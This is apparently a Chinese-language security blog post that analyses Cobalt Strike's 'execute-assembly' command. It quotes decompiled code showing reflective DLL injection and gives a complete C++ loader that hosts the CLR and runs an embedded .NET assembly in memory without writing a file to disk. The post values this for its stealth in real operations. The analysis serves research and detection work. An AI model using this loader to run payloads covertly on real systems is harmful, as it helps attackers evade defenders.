前言
Cobalt Strike 从3.11开始增加了一个叫“execute-assembly”的命令,这个命令能够从内存中直接加载.net程序集执行。由于没有文件落地,十分隐蔽,在实战当中应用非常广泛。本文会对Cobalt Strike的execute-assembly命令的执行过程进行分析,并且结合现有的开源项目对此技术的原理进行简单介绍。
基础知识
1.CLR
全称Common Language Runtime(公共语言运行时),是一个可由多种编程语言使用的运行环境
CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:
- 在CLR监视之下运行的程序属于”托管的”(managed)代码
- 不在CLR之下、直接在裸机上运行的应用或者组件属于”非托管的”(unmanaged)的代码
2.Unmanaged API
参考资料:
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/
用于将.NET 程序集加载到任意程序中的API
支持两种接口:
- ICorRuntimeHost Interface
- ICLRRuntimeHost Interface
3.ICorRuntimeHost Interface
参考资料:
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
支持v1.0.3705, v1.1.4322, v2.0.50727和v4.0.30319
4.ICLRRuntimeHost Interface
参考资料:
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
支持v2.0.50727和v4.0.30319
在.NET Framework 2.0中,ICLRRuntimeHost用于取代ICorRuntimeHost
在实际程序开发中,很少会考虑.NET Framework 1.0,所以两个接口都可以使用
CS内存执行流程分析
在Cobalt Strike的代码中找到BeaconConsole.java文件,定位到“execute-assembly”命令处。通过简单分析这段代码可以知道,当解析到用户执行“execute-assembly”命令后,会先验证”pZ“和”F“关键字来判断要执行的.net程序集是否带有参数(具体如何判断请查看CommandParser类)。判断完成使用CommandParser类的popstring方法将execute-assembly的参数赋值给变量,然后调用ExecuteAssembly方法执行程序集。
我们继续跟进ExecuteAssembly方法,ExecuteAssembly方法有两个参数,第一个参数为待执行的.net程序集路径,第二个参数为.net程序集执行需要的参数。执行这个方法时先将要执行的.net程序集从硬盘读取并加载到PE解析器(PEParser)中,随后判断加载的PE文件是否为.net程序集,如果是.net程序集则创建ExecuteAssemblyJob实例并调用spawn方法。
接下来进入spawn方法,可以看到是通过反射DLL的方法,将invokeassembly.dll注入到进程当中,并且设置任务号为70(x86版本)或者71(x64)。注入的invokeassembly.dll在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public void spawn(String var1) { byte[] var2 = this.getDLLContent(); int var3 = ReflectiveDLL.findReflectiveLoader(var2); if (var3 <= 0) { this.tasker.error("Could not find reflective loader in " + this.getDLLName()); } else { if (ReflectiveDLL.is64(var2)) { if (this.ignoreToken()) { this.builder.setCommand(71); } else { this.builder.setCommand(88); } } else if (this.ignoreToken()) { this.builder.setCommand(70); } else { this.builder.setCommand(87); }
var2 = this.fix(var2); if (this.tasker.obfuscatePostEx()) { var2 = this._obfuscate(var2); }
var2 = this.setupSmartInject(var2); byte[] var4 = this.getArgument(); this.builder.addShort(this.getCallbackType()); this.builder.addShort(this.getWaitTime()); this.builder.addInteger(var3); this.builder.addLengthAndString(this.getShortDescription()); this.builder.addInteger(var4.length); this.builder.addString(var4); this.builder.addString(var2); byte[] var5 = this.builder.build(); this.tasker.task(var1, var5, this.getDescription(), this.getTactic()); } }
|
总结一下,Cobalt Strike内存加载执行.net程序集大概的过程就是,首先spawn一个进程并传输invokeassembly.dll注入到该进程,invokeassembly.dll实现了在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
.net程序集内存加载执行
内存加载执行流程
- 初始化ICLRMetaHost接口。
- 通过ICLRMetaHost获取ICLRRuntimeInfo接口。
- 通过ICLRRuntimeInfo将 CLR 加载到当前进程并返回运行时接口ICLRRuntimeHost指针。
- 通过ICLRRuntimeHost.Start()初始化CLR。
- 通过ICLRRuntimeHost获取AppDomain接口指针。
- 通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针。
- 通过默认应用程序域实例的Load_3方法加载安全.net程序集数组,并返回Assembly的实例对象指针。
- 通过Assembly实例对象的get_EntryPoint方法获取描述入口点的MethodInfo实例对象。
- 创建参数安全数组
- 通过描述入口点的MethodInfo实例对象的Invoke方法执行入口点。
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| #include <stdio.h> #include <tchar.h> #include <metahost.h> #pragma comment(lib, "mscoree.lib")
#import <mscorlib.tlb> raw_interfaces_only \ high_property_prefixes("_get","_put","_putref") \ rename("ReportEvent", "InteropServices_ReportEvent") \ rename("or", "InteropServices_or")
using namespace mscorlib; #define ASSEMBLY_LENGTH 8192
unsigned char dotnetRaw[ASSEMBLY_LENGTH] = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00...";
int _tmain(int argc, _TCHAR* argv[]) {
ICLRMetaHost* iMetaHost = NULL; ICLRRuntimeInfo* iRuntimeInfo = NULL; ICorRuntimeHost* iRuntimeHost = NULL; IUnknownPtr pAppDomain = NULL; _AppDomainPtr pDefaultAppDomain = NULL; _AssemblyPtr pAssembly = NULL; _MethodInfoPtr pMethodInfo = NULL; SAFEARRAYBOUND saBound[1]; void* pData = NULL; VARIANT vRet; VARIANT vObj; VARIANT vPsa; SAFEARRAY* args = NULL; CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost); iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo); iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost); iRuntimeHost->Start();
iRuntimeHost->GetDefaultDomain(&pAppDomain); pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain); saBound[0].cElements = ASSEMBLY_LENGTH; saBound[0].lLbound = 0; SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound); SafeArrayAccessData(pSafeArray, &pData); memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH); SafeArrayUnaccessData(pSafeArray); pDefaultAppDomain->Load_3(pSafeArray, &pAssembly); pAssembly->get_EntryPoint(&pMethodInfo); vPsa.vt = (VT_ARRAY | VT_BSTR); args = SafeArrayCreateVector(VT_VARIANT, 0, 1); if (argc > 1) { vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc); for (long i = 0; i < argc; i++) { SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i])); } long idx[1] = { 0 }; SafeArrayPutElement(args, idx, &vPsa); } ZeroMemory(&vRet, sizeof(VARIANT)); ZeroMemory(&vObj, sizeof(VARIANT)); vObj.vt = VT_NULL; HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet); pMethodInfo->Release(); pAssembly->Release(); pDefaultAppDomain->Release(); iRuntimeInfo->Release(); iMetaHost->Release(); CoUninitialize();
return 0; };
|
其他开源实现
https://github.com/caseysmithrc/AssemblyLoader
https://github.com/etormadiv/HostingCLR
https://github.com/b4rtik/metasploit-execute-assembly
参考链接
https://3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(execute-assembly)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90
https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session-part-2/
https://idiotc4t.com/defense-evasion/cobaltstrike-executeassembly-realization#liu-chengbnei-cun-jia-zai
https://github.com/b4rtik/metasploit-execute-assembly
https://blog.csdn.net/jisuanjixu/article/details/5959186